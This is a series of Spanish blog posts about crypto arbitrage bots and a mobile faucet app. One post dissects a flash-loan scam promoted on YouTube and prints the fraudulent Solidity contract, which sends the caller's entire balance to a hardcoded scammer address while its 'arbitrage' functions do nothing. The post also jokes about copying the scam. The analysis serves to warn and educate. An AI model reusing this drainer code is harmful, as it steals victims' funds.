El mundo de las criptomonedas es inmenso y existen distintas formas de obtener un beneficio en este mundo. Entre ellas, se encuentra la compra y venta de estos activos digitales. Igual que en los mercados tradicionales hay una gran variedad de estrategias, pero este proyecto está centrado en el arbitraje de criptomonedas.

## ¿Qué es el arbitraje?

El arbitraje es una técnica que consiste en aprovechar las diferencias de precios entre distintos mercados para obtener un beneficio.

Por ejemplo, supongamos que existen tres activos A, B y C y los mercados A/B, A/C y B/C que permiten operar entre estos activos. Nuestra cartera inicialmente tiene 1 unidad del activo A y ninguna de los demás. Ahora podemos vender 1 unidad de A en el mercado A/B y obtenemos 2 unidades del activo B. A continuación, las condiciones del mercado permiten intercambiar estas 2 unidades del activo B por 4 unidades del activo C utilizando el mercado B/C. Finalmente, podemos comprar 2 unidades del activo A con las 4 unidades del activo C a través del mercado A/C. 
Evidentemente este caso es poco probable ya que hemos duplicado nuestra cantidad del activo inicial, pero sirve para ilustrar el funcionamiento del arbitraje.

![Ejemplo del grafo de los mercados anteriores (solo con los pesos necesarios).](../uploads/1/ejemplo1.png)

Los mercados financieros y de criptomonedas son muy rápidos y es prácticamente imposible realizar esta estrategia sin el uso de una herramienta automatizada que detecte estas oportunidades y las ejecute. Por tanto, el objetivo de este proyecto es el desarrollo de una aplicación que identifique las oportunidades de arbitraje y las ejecute.

## La aplicación
El funcionamiento de la aplicación se puede resumir en los siguientes pasos:
1. Consultar los precios de los mercados de cada uno delos activos.
2. Determinar si un intercambio es rentable o no.
3. Ejecutar el intercambio.

### Consulta de los precios
Esta fase es crucial para el correcto funcionamiento de la aplicación. Si los precios no se actualizan correctamente o se realiza de una forma ineficiente los resultados no serán válidos. 

El primer paso es determinar **cómo** guardar los distintos precios de los activos. La solución más simple y adecuada para este problema es utiliar un grafo dirigido en el cual cada nodo representa un activo y las aristas representan los mercados. Además, el peso de cada arista representa la cantidad que se puede obtener al realizar el intercambio con una unidad del activo origen.

![Ejemplo del grafo que genera la aplicación internamente.](../uploads/1/graf.png)

Para aprovechar al máximo las diferencias de precio entre mercados se tienen que combinar distintos *exchanges*. Este planteamiento no supone ningún problema a la estructura de datos porqué cada nodo es el activo dentro de un *exchange*. Así, para cada activo y *exchange* se genera un nodo del grafo.

Tampoco es viable intentar construir este grafo de manera manual, ya que es posible que los mercados dejen de estar disponibles. Es necesario construirlo de manera automática a partir de las APIs de cada uno de los *exchanges*. Estas APIs permiten obtener las restricciones de cada uno de los mercados (cantidad mínima para operar o números de decimales permitidos) y facilitan la creación del grafo comentado anteriormente.

Una vez se tiene esta estructura de datos ya se pueden consultar los precios. Como se ha comentado, estos mercados son muy rápidos e interesa trabajar siempre con la última información disponible. Por tanto, el uso del protocolo HTTP para la obtención de los precios no es una opción viable y es necesario utilizar técnicas que permitan el intercambio de datos en tiempo real, como los WebSockets.
El uso de WebSockets no es ningún problema porqué los propios *exchanges* proporcionan esta información. Así, para cada *exchange* se inicializa una conexión con su servidor de WebSockets y se escuchan los cambios a los mercados que interesan, es decir, aquellos que se encuentran dentro del grafo.

### Oportunidades de arbitraje
Una vez se tienen los precios de cada uno de los mercados se pueden buscar las oportunidades de arbitraje y determinar si son rentables o no. 

Para determinar si un camino es rentable se puede simular la cantidad final que se obtendría tras ejecutar todas las operaciones del camino. Si el resultado final es superior al inicial, el camino es rentable y se puede ejecutar.
Ahora bien, también se deben tener en cuenta las comisiones de cada una de las casas de cambio y las restricciones de cada uno de los mercados:
- La mayoria de *exchanges* cobran desde un 0.1% hasta un 0.5% sobre cada una de las operaciones.
- Muchas operaciones son rentables en el mundo teórico pero no el práctico porqué no se pueden utilizar decimales infinitos. Las restricciones sobre cada uno de los mercados pueden ser sobre la cantidad mínima y máxima que se puede operar o sobre la cantidad máxima de decimales.

#### Explorar todo el grafo
Una primera aproximación consiste en generar todos los caminos que empiezan y terminan en un nodo del mismo activo, permitiendo que sean de distinto *exchange*. 

Esta opción funciona y es fácil de implementar pero tiene un problema de rendimiento, ya que cada vez que se produce un cambio en el precio de un mercado se está explorando todo el grafo. Y aunque el grafo solo tenga unos 20 nodos se están explorando caminos que no han cambiado, y por tanto, si no eran rentables antes, tampoco lo serán ahora.

Una opción para intentar reducir el impacto de este proceso puede consistir en no explorar el grafo a cada actualización de los mercados, sino hacerlo de manera periódica. Esta solución tampoco es la más adecuada porqué es posible que cuando se inicie el proceso de exploración los precios ya estén obsoletos.

#### Explorar los caminos relevantes
La solución óptima al problema consiste en explorar solo aquellos caminos que potencialmente han cambiado, es decir, aquellos que contienen el mercado que ha cambiado de precio. Para ello se tendrán que:
 - Tener una lista de todos los caminos posibles. Esta lista se puede generar cuando se construye el grafo por primera vez. 
 - Una estructura de datos para guardar qué caminos han sufrido cambios.

Así cuando se recibe una actualización de un mercado se marcan todos aquellos caminos vinculados con el mercado como pendientes de revisar.

### Ejecución de las oportunidades
![Ejemplo de la ejecución de la aplicación y algunas operaciones](../uploads/1/ejemplo.jpg)
Una vez se han identificado aquellas oportunidades rentables se tienen que enviar a la casa de cambio correspondiente. Esta operación es una operación sensible, ya que está realizando operaciones con criptoactivos. 

El proceso para realizar una operación es simple, consiste en realizar la petición a la API respetando los distintos campos, entre ellos una firma que solo puede generar el usuario con la clave privada de su cuenta. También se incluyen otros campos como la fecha actual para evitar realizar operaciones que se han enviado hace algunos segundos y no han llegado a tiempo al servidor final.

Utilizando la abstracción de los lenguages de programación **orientados a objetos** este proceso es muy simple, ya que se tiene una clase que representa un mercado, una operación y una casa de cambio. Así realizar una operación consiste en crear un objeto operación a partir de una determinada casa de cambio.

#### ¿Secuencial? ¿En paralelo?
Un punto a favor del arbitraje es que es una técnica perfecta si se consigue ejecutar **todas** las operaciones al mismo tiempo e immediatamente. Ahora bien, esto en el mundo real es imposible por diversos factores, pero el principal es la latencia entre el servidor de la casa de cambio y la máquina que ejecuta la aplicación.

Desde el momento que el servidor del *exchange* envía la información de los precios de los mercados y esta información llega a la máquina, se realizan los cálculos y se ejecutan las operaciones pasan unos **milisegundos**, pero es posible que al final de todo el camino la información de los precios ya no sea válida.
Como reflexión, los únicos que pueden ejecutar sin riesgo esta técnica es el propio *exchange*, ya que ellos podrían inyectar esta lógica del arbitraje en la ejecución de las órdenes, antes que la información sea pública para todo el mundo.

Para aumentar la probabilidad de éxito de las operaciones es necesario ejecutar las operaciones en paralelo, todas al mismo tiempo. En el caso de la aplicación desarrollada se han utilizado unos procesos auxiliares o *workers* que solo realizan la función de realizar una petición HTTP. Al ser procesos independientes del sistema operativo realmente se pueden aprovechar los distintos núcleos de las máquinas modernas.

#### Operaciones secuenciales
En la sección anterior se ha comentado que las operaciones deben realizarse siempre en paralelo, pero esto introduce un nuevo problema. ¿Qué pasa si no se dispone de un activo porqué se obtiene en la operación anterior?

La solución más fácil a este problema es disponer de activos "en reserva" de los distintos criptoactivos. Evidentmente este hecho ya introduce un riesgo adicional a la técnica, que es la revalorización de esto criptoactivos en reserva. 

```
{
	"allowSequentialSequences": false,
	"orderMaxAmount": "25.00",
	"minProfit": "0.05",
	"enabledCurrencies": [
		"USDT", "USDC", "BUSD",
		"BTC", "LTC", "ETH"
	],
	"multipleSequences": true,
	"maximumSequences": 2,
	"timeBetweenSequences": 1,
	"maxDepth": 4
}
```
La aplicación desarrollada tiene opciones de configuración que permite activar o desactivar este tipo de operaciones. Por ejemplo, se puede configurar la aplicación para solo ejecutar aquellas operaciones que se puedan ejecutar en paralelo o se puede configurar para realizar operaciones que incluyan operaciones secuenciales. En este último modo, si no se dispone de un activo se realizarán todas las operaciones posibles en paralelo y aquellas que no se pueda, se ejecutarán secuencialmente.

## Conclusiones
El desarrollo de esta aplicación ha sido un reto interesante porqué se han combinado conocimientos de distintas áreas. Desde el uso adecuado de estructuras de datos para crear programas eficientes y el uso de APIs externas para obtener información.

Algunos lenguajes de programación son más adecuados para determinadas funciones, ya que algunos ofrecen más rendimiento que otros. En este caso, se desarrollaron dos prototipos de la aplicación: 
- una versión utilizando TypeScript (NodeJS).
- una versión, que es la más completa, utilizando Python.

Sería interesante desarrollar una versión utilizando un lenguaje de más bajo nivel como C++ y realizar comparaciones entre las distintas versiones, aunque todo apunta a que el cuello de botella de la aplicación es la propia distancia entre el servidor origen y la máquina que ejecuta la aplicación. 
Y este problema aumenta cuando se combinan distintas casas de cambio porqué no es posible ubicar la aplicación en el mismo *datacenter* que la casa de cambio.

![Algunos registros de los resultados tras algunas horas de funcionamiento](../uploads/1/resultados.jpg)
Los resultados del uso de la aplicación quedan fuera del alcance de este proyecto, ya que el objetivo era crear una aplicación capaz de operar utilizando la técnica del arbitraje, objetivo que se ha logrado.

Desarrollo de un robot de trading de criptomonedas

La tecnología *blockchain* es una tecnología reciente y que todavía no es muy conocida entre el público general. Con el objetivo de dar a conocer esta tecnología y facilitar el uso de las criptomonedas se desarrolló una aplicación que permitía **obtener pequeñas fracciones** de estos activos digitales.

Estas aplicaciones son conocidas como *faucets* en el mundo de las criptomonedas y la mayoría son aplicaciones web, pero no hay muchas aplicaciones que funcionen para dispositivos móviles. Por tanto, desarrollar una *faucet* móvil fue una oportunidad para llegar a un público no explotado, y **funcionó bastante bien**.

## La aplicación
La aplicación se desarrolló durante las últimas semanas de agosto de 2017, cuando todavía no había empezado los estudios de Ingeniería Informática, y se publicó los últimos días de agosto.

### Aplicación pública
Nunca había creado una aplicación nativa para Android, solo había desarrollado aplicaciones web. Por tanto, esta aplicación se desarrolló como **una aplicación web** y luego se utilizó un *web view* para poder publicarla en la Play Store. 
No es la solución más eficiente ni adecuada pero funcionaba bastante bien. Además, me permitió crear una aplicación rápidamente.

![Aplicación pública (extraída de YouTube).](../uploads/2/app.png)

El *frontend* de la aplicación estaba realizado utilizando tecnologías simples como *jQuery*, sin utilizar *frameworks* como React o  Vue.js. La comunicación con el servidor se realizaba mediante peticiones a una API REST utilizando *Ajax*, cosa que permetía crear una interfaz de usuario más dinámica.

El *backend* estaba desarrollado utilizando **PHP**, que era uno de los lenguajes de servidor había utilizado hasta ese momento. 

### Panel de administración
Una aplicación de estas características require de un panel de administración para poder gestionar fácilmente los usuarios y realizar determinadas acciones. Por lo tanto, también de creó un panel bastante simple.

Las principales funciones de este panel eran:
- Ver los usuarios registrados y sus movimientos (accesos, transacciones).
- Procesar las transacciones.
- Modificar la configuración de la aplicación, como mensajes dentro de la aplicación o las proporciones de las recompensas.
- Detectar usuarios que incumplen los términos de uso de la aplicación.

La pantalla principal del panel mostraba algunos datos de interés, como los usuarios registrados en el día actual o los usuarios activos en las últimas 24 horas.
![Pantalla inicial del panel de administrador.](../uploads/2/dashboard.png)

Otra de las funciones principales es observar las transacciones pendientes de la aplicación. Para ello, había un listado con todas las transacciones pendientes y se podían realizar distintas acciones sobre ellas (procesarlas o cancelarlas).
![Lista de transacciones pendientes.](../uploads/2/withdrawals.png)

También era importante poder cambiar la configuración de la aplicación sin necesidad de modificar el propio código de la aplicación. El panel de configuración, entre otras funciones, permetía modificar un mensaje visible en la aplicación, que se utilizaba para comunicar información de interés.
![Página de configuración.](../uploads/2/configuracion.png)


## En producción
Una vez la aplicación está terminada y lista para el público se subió a un servidor, se compró un dominio y se publicó en la Play Store.

La publicación en la Play Store es un proceso *simple* pero uno cuando es nuevo se pierde entre tantos menús y opciones del Google Play Console. Una vez realizado este proceso los usuarios ya pueden descargar la aplicación.

Para el servidor, se alquiló un servidor privado virtual (VPS) de la compañía *Vultr*, básicamente porqué ofrecía unos precios muy competitivos para las necesidades de la aplicación. 

En el servidor se instalaron y configuraron distintos servicios como el servidor web Apache, el servidor MySQL y un servidor de correo (Postfix + Dovecot) para poder disponer de un correo institucional.

### Resultados
![Gráfico de usuarios diarios (Firebase).](../uploads/2/usuarios.png)
El primer mes y medio de la aplicación fue bastante tranquilo, con pocos usuarios activos, pero a partir del 15 de octubre de 2017 el número de usuarios empieza a crecer hasta llegar a un máximo de **6400 usuarios** el 3 de enero.


Utilizando Firebase se podían enviar notificaciones a los dispositivos con la aplicación instalada. Esta herramienta también era una arma porqué provocaba que muchos usuarios accedieran a la aplicación al mismo tiempo, hasta **1200 usuarios concurrentes**.

Evidentemente, el pequeño servidor no aguantaba tal intensidad de usuarios dando lugar a un deterioro de la calidad del servicio. La solución más fácil para evitar cambiar de servidor era segmentar los usuarios y enviar las notificaciones a cada uno de estos segmentos.

## Conclusiones
La aplicación estuvo operativa unos cuantos meses pero por diversos motivos no se pudo mantener operativa aunque el proyecto permitió obtener conocimientos y experiencias diversas:

- Gestionar una aplicación con un tráfico de usuarios considerable, teniendo en cuenta que era un proyecto individual.
- Publicar aplicaciones en la Play Store.
- Administrar y configurar servidores Linux (MariaDB, Apache2, Dovecot, Postfix).

Los resultados fueron muy satisfactorios porqué no esperaba tal éxito. Tanto por la aceptación de los usuarios como por la cantidad de tráfico de la aplicación.

Este ha sido el resumen del primer intento de crear una aplicación de este estilo. En los años posteriores, se intentó desarrollar unas nuevas aplicaciones con un enfoque distinto.

Aplicación para dar a conocer blockchain (I)

![Captura del vídeo de YouTube](../uploads/3/banner.png)

El arbitraje es una técnica de trading que consiste en aprovechar las diferencias de precios en distintos *exchanges*, básicamente consiste en comprar barato en un sitio y venderlo más caro en otro.

Esta técnica se realizaba tradicionalmente en un *exchange* centralizado pero el auge de las finanzas descentralizadas ha abierto nuevas posibilidades. Y con ello, los estafadores tienen nuevas ideas y un mercado más amplio.

Todo ha empezado con un simple anuncio en la plataforma de Facebook a un vídeo de YouTube que explicaba cómo podías ganar haciendo arbitraje utilizando los *flash loans*. 

El resumen de esta técnica consiste en pedir prestado una gran cantidad de dinero, realizar un intercambio en un *exchange* descentralizado y devolver el dinero prestado, pero **todo esto en una única transacción**. De esta forma, si el arbitraje no genera beneficios y no puedes pagar los intereses del dinero prestado, la transacción no se completa y todo queda cómo antes de iniciar la operación, menos las comisiones de la transacción.

Hasta este punto todo perfecto, la idea es correcta y he pensado ¿por qué no probarlo? Pero se tiene que ir con cuidado con todo lo que encuentras por Internet, y mucho más si no lo entiendes.

## La estafa
En este caso, el vídeo en YouTube te explica cómo crear un *smart contract* sobre Binance Smart Chain y cómo invocarlo. La verdad que el vídeo lo explica bien y lo hace realmente fácil, que es lo que busca el estafador: gente que sin conocimientos de programación ejecute este *smart contract*.

Parce que el estafador se olvidó de ajustar la audiencia de su campaña y olvidó ocultarlo a los programadores escépticos. Vamos a ver cómo funciona la estafa.

La primera *red flag* es que en el vídeo indica que si no sabemos programar no pasa nada, sólo se tiene que copiar y pegar el código y seguir sus pasos. Esto es muy peligroso, ya que puede que estés copiando código que mande todos tus tokens a su dirección.

```
function flashloan() public payable {
  	  // Send required coins for swap
  	  address(uint160(router.pancakeSwapAddress())).transfer(
  		  address(this).balance
  	  );

  	  //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
  	  router.borrowFlashloanFromMultiplier(
  		  address(this),
  		  router.bakerySwapAddress(),
  		  flashLoanAmount
  	  );
  	  //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
  	  router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
  	  //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
  	  router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
  	  //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
  	  router.transferBnbToMultiplier(router.pancakeSwapAddress());
  	  //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
  	  router.completeTransation(address(this).balance);
	}
```
El código anterior es la función que se invoca del *smart contract*. Vamos a analizarla por pasos, dejándonos guiar por los comentarios del código:

1. El primer paso consiste en enviar **todas** las monedas del *smart contract* a la dirección indicada por la función *router.pancakeSwapAddress()*, que según el comentario son las monedas que se utilizarán para realizar el arbitraje.

2. El siguiente paso es pedir prestado el dinero en una plataforma de finanzas descentralizadas, con la función *router.borrowFlasloanFromMultiplier(...)*. Los parámetros son la dirección del contracto, la dirección de otro *exchange* descentralizado y la cantidad que pedimos prestada.

3. Después se realiza la conversión de la moneda BNB a la *stable coin* BUSD. Aquí es curioso que está utilizando el valor *msg.sender* y *flasLoanAmount / 2*. ¿Por qué está usando la dirección de quién invoca el contracto? ¿Por qué está dividiendo la cantidad prestada entre dos?

4. A continuación llama la función *router.callArbitrageBakerySwap()* con más direcciones, pero **sin indicar ninguna cantidad**. Luego *devuelve* el dinero prestado utilizando la función *router.transferBnbToMultiplier*.

5. Finalmente invoca la función *router.completeTransaction()* con la cantidad de monedas que tiene el contracto inteligente.

Una persona que sabe un poco de inglés y lee estos comentarios (y se los cree) puede pensar que todo tiene sentido. Pero estamos ignorando qué realizan realmente las funciones que hemos comentado.

## La realidad
La realidad es que desde el punto número uno ya hemos perdido nuestro dinero. Y para descubrirlo, tenemos que mirar qué hace el objeto *router*. ¿Dónde está definido y qué hacen estas funciones? Para descubrirlo tenemos que ir a la sección de código importado del *smart contract*.

```
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";

//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";

// Router
import "ipfs://QmZR6RMkAhfx3CJj9Qsmd1GG4ots59vNt7zknKmjzYMKzs";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
```

Empezamos bien:
- código importado desde GitHub, con los repositorios oficiales de PancakeSwap y BakeryProject.
- un import algo raro, que teóricamente está importando el objeto *router*.
- más imports de GitHub de un código de ejemplo.

Si miramos todos los códigos de los repositorios de GitHub podemos ver que en ninguno de ellos se está declarando el tipo *RouterV2*, que es el tipo de la variable *router*. El único *import* que no podemos ver fácilmente es el que empieza por *ipfs://*. Evidentemente si el compilador puede interpretarlo es porqué el código se puede recuperar.

Investigando un poco cómo funciona todo esto del *IPFS* encuentro dónde está el código. Esto es totalmente público y se puede encontrar en la dirección *https://ipfs.io/ipfs/[identificador IPFS]*.

En este archivo de código se definen tipos cómo *IPancakePair* y *RouterV2*. ¡Bingo! Tenemos la clase que estamos buscando.
```
contract RouterV2 {

    function pancakeRouterV2Address() public pure returns (address) {
        return 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
    }

    ...

    function pancakeSwapAddress() public pure returns (address) {
        return 0xE460cd9b2d44951A6A06f36D691C8051aA830c83;
    }

    //1. A flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
    function borrowFlashloanFromMultiplier(
        address add0,
        address add1,
        uint256 amount
    ) public pure {
        require(uint(add0) != 0, "Address is invalid.");
        require(uint(add1) != 0, "Address is invalid.");
        require(amount > 0, "Amount should be greater than 0.");
    }

    //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
    function convertBnbToBusd(address add0, uint256 amount) public pure {
        require(uint(add0) != 0, "Address is invalid");
        require(amount > 0, "Amount should be greater than 0");
    }

    function bakerySwapAddress() public pure returns (address) {
        return 0xE02dF9e3e622DeBdD69fb838bB799E3F168902c5;
    }

    //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
    function callArbitrageBakerySwap(address add0, address add1) public pure {
        require(uint(add0) != 0, "Address is invalid!");
        require(uint(add1) != 0, "Address is invalid!");
    }

    //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
    function transferBnbToMultiplier(address add0)
        public pure
    {
        require(uint(add0) != 0, "Address is invalid!");
    }

    //5. Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
    function completeTransation(uint256 balanceAmount) public pure {
        require(balanceAmount >= 0, "Amount should be greater than 0!");
    }

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to
    ) external pure {
        require(
            amount0Out > 0 || amount1Out > 0,
            "Pancake: INSUFFICIENT_OUTPUT_AMOUNT"
        ); 
        require(uint(to) != 0, "Address can't be null");/*
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');

        uint balance0;
        uint balance1;
        { // scope for _token{0,1}, avoids stack too deep errors
        address _token0 = token0;
        address _token1 = token1;
        require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
        if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2));
        uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Pancake: K');
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);*/
    }

    function lendingPoolFlashloan(uint256 _asset) public pure {
        uint256 data = _asset; 
        require(data != 0, "Data can't be 0.");/*
        uint amount = 1 BNB;

        ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
        lendingPool.flashLoan(address(this), _asset, amount, data);*/
    }
}
```

En la programación puede tener sentido tener funciones o constantes que devuelvan valores que siempre tengan el mismo valor. Por eso, no es una idea tan loca tener una función que devuelva la dirección del contracto de Pancake Swap.

Empezamos con la función del punto número uno de la sección anterior, *pancakeRouterV2Address*. Podemos ver que está devolviendo un valor constante, que es **0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F**. Aquí encontramos la segunda **red flag** ya que si consultamos en BSC Scan, esta dirección no está relacionada con Pancake Swap. Sin embargo, el código fuente está dando a entender que la dirección es de Pancake Swap.

Vale, ya podemos ver que esto es una estafa... pero ¿qué están haciendo las demás funciones que teóricamente están pidiendo el dinero prestado? La respuesta es muy simple: nada.

Estas funciones solo están verificando que las direcciones son distintas al valor 0 y que la cantidad que se ha enviando es superior o igual a 0. La igualdad de *>= 0* es muy importante, ya que si primero envía las monedas y luego comprueba si hay más de 0, la transacción va a fallar.

Además hay otras secciones del código que no tienen sentido, ya que son funciones que no se utilizan y que además tienen gran parte de su código comentado.

![Código de la función swap](../uploads/3/swap_code.png)

Lo más curioso es el punto dónde se inician los comentarios. Los comentarios se inician al final de la línea para pasar desapercibido a una primera lectura del código, aunque con un IDE se puede ver fácilmente.

El estafador, que ya lo tenemos identificado con su dirección sobre BSC, es astuto y pide tanto en el vídeo como en los comentarios del código que se llame al *smart contract* con una cantidad superior a 0.2 BNB, que actualmente son unos 100€. De esta forma se asegura de poder amortizar la inversión en Facebook Ads.

## Víctimas
Por desgracia hay algunas personas que han probado su técnica y han perdido su dinero. Todas las transacciones se pueden ver públicamente en BSCScan con la dirección del estafador. Hasta la fecha, ha recibido más de 1.8 BNB en unos 35 días.

![Transacciones a la dirección del estafador](../uploads/3/bscscan.png)

Encontrar la identidad real de las víctimas y del estafador es prácticamente una misión imposible, gracias a las características de las criptomoneadas.

# Conclusiones
No es la primera vez que me encuentro anuncios fraudulentos en Facebook y por mucho que los reportes siguen apareciendo. Parece que Facebook sólo se preocupa por ingresar dinero a través de sus anuncios, sin importar que está promocionando estafas.

Facebook no es la única red social que promociona contenido fraudulento. Todas las redes sociales y plataformas de entretenimiento como Twitter y YouTube, también. No sé cuántas veces me han aparecido en el *feed* de YouTube directos de "Elon Musk" haciendo un sorteo de criptomonedas o anuncios de invertir en acciones de Amazon en Twitter.

Por tanto, queda claro que ninguna de estas compañías está haciendo algo para frenar las estafas y que van a seguir apareciendo. Si algo es demasiado bueno para ser real, seguramente no es real. No podemos fiarnos de lo que vemos en Internet, y mucho menos si se trata de dinero y criptomonedas. Cualquier persona puede crear monedas y hacer creer que su moneda es la mejor del mundo.

Después de descubrir esta estafa y leer más sobre los *flash loans* estaría interesante ver si realmente es una técnica viable y cómo se puede ejecutar, pero esta vez de verdad. 

O bien... podemos pasarnos al lado oscuro e intentar aplicar las mismas técnicas que este estafador, ya que ha quedado claro que estafar a la gente por medio de Facebook, Twitter y YouTube no tiene ningún tipo de repercusión.


De pobre a millonario con arbitraje descentralizado

En anteriores entradas hemos comentado en qué consiste el arbitraje de criptomonedas y como se implementó una herramienta automatizada para desarrollar esta estrategia. 

En otra entrada se mencionó como algunos individuos se aprovechan del desconocimiento de las personas en el mundo de las criptomonedas para robar. Al final de ésta, se mencionaba la posibilidad de implementar o no esta estrategia de trading en el mundo de la finanzas descentralizadas.

# Estrategia de arbitraje descentralizado

Antes de empezar a desarrollar esta herramienta es necesario conocer cómo funciona esta estrategia, un tema que quedó un poco en el aire. A grandes rasgos, la idea es aprovechar las características de los sistemas transaccionales de los mundos de finanzas descentralizados. 

El las criptomonedas existe el concepto de transacción Igual que en los sistemas de bases de datos ACID. Las transacciones son un conjunto de operaciones que se perciben como una única operación, la cual es exitosa si todas suboperaciones lo son. Así, si una de las suboperaciones no se puede ejecutar con éxito se revierte al estado inicial del sistema.

¡Eso es fantástico! Supongamos que detectamos una oportunidad de arbitraje con un 0.25% de beneficio y una liquidez de medio millón de dólares. Eso significa que si ejecutamos la operación obtenemos 1250 dólares. El único problema es que no tenemos medio millón de dólares ¿o sí?

No, no los tenemos. Para poder estar operación de compra y venta de activos, podemos acudir a un banco y pedir prestados medio millón de dólares al 0.08% de interés y aún así obtenemos beneficio. Para que todo vaya bien solo tenemos que:

- Detectar la operación de arbitraje
- Pedir prestado una inmensa cantidad de dinero
- Ejecutar la operación arbitraje
- Devolver el dinero prestado y comprase un yate

Pero… ¿qué pasa si nunca llego a ejecutar la operación de arbitraje porqué los precios ya han cambiado o no se ha reducido la liquidez? Nada: no puedes devolver el dinero prestado con sus intereses porqué no tienes ese dinero. 

Como no puedes devolver el dinero prestado con sus intereses no se puede completar la transacción en la que solicitas el dinero, realizas tus operaciones y lo devuelves. Por tanto, es como si nunca lo hubieras pedido en primer lugar.

## Implementando un bot de arbitraje descentralizado

No voy a entrar en detalles de cómo se puede implementar un bot de arbitraje descentralizado, ya que como en todos los problemas existen infinitas soluciones. Todas ellas serán válidas siempre y que cumplan con los requerimientos, aunque algunas serán más o menos eficientes.

### Observar el mercado

En las finanzas centralizadas tenemos unos exchanges conocidos como puede ser Binance o Coinbase y cada uno de ellos proporciona las herramientas para poder consultar información y ejecutar operaciones, como puede ser una API o un cliente con todas las operaciones ya implementadas.

En cambio, en las finanzas descentralizadas no hay ninguna entidad (de ahí que sea descentralizado). Los intercambios se realizan a través de smart contracts gracias al *automatic market making* (AMM). Esta técnica consigue regular el precio de un activo manteniendo una relación entre los dos activos que se intercambian, el valor de esta relación se determina cuando se crea ese mercado (o más bien el proveedor de liquidez).

Una vez entendemos cómo se realizan las operaciones en los *exchanges* descentralizados podemos plantearnos hacer un bot que haga estas operaciones. Como se ha mencionado, los exchanges descentralizados solo son un smart contract con funciones para realizar intercambios. 

También tenemos que entender que hay distintos exchanges descentralizados pero la mayoría de ellos son *forks* de Uniswap, con lo cual, a nivel de implementación, tienen las mismas funciones (incluso con la misma *signature*)*.* Así que para nosotros, realizar un intercambio en un exchange A o en el exchange B nos es igual y no nos lleva más trabajo.

A continuación solo debemos de investigar qué plataformas descentralizadas existen y qué monedas queremos intercambiar. Este trabajo lo podemos hacer manualmente ya que no existen infinitas plataformas ni infinitos tokens. Además, debemos tener en cuenta que queremos mercados con mucha liquidez, ya que vamos a pedir prestados medio millón de dólares.

Una vez tenemos todas las plataformas donde queremos hacer intercambios y los tokens que queremos intercambiar podemos construir un grafo como el de la figura 1.

![Grafo interno de la aplicación](/uploads/4/photo_2022-01-03_18-52-42.jpg)

Pero lo podemos complicar más, ya que añadir más tokens o más exchanges no nos supone ningún esfuerzo. Así podemos tener una versión con más itinerarios como el de la figura 2.

![Versión completa del grafo](/uploads/4/photo_2022-01-03_21-12-34.jpg)

Para construir todas las combinaciones podemos realizar una suposición totalmente válida: todos los tokens existen en todas las plataformas. Con esta suposición se obtienen todas las combinaciones triviales entre plataformas. Por ejemplo, si tenemos 1 BUSD en PancakeSwap también lo tenemos en Biswap. Y aquí, a diferencia del arbitraje descentralizado, no necesitamos ninguna operación para tenerlo en las distintas plataformas.

¿Y qué pasa si un mercado no existe en una determinada plataforma? Nada, simplemente el propio smart contract de la plataforma nos indicará que cuando queremos intercambiar X cantidad del token A por el token B obtenemos 0 tokens B.

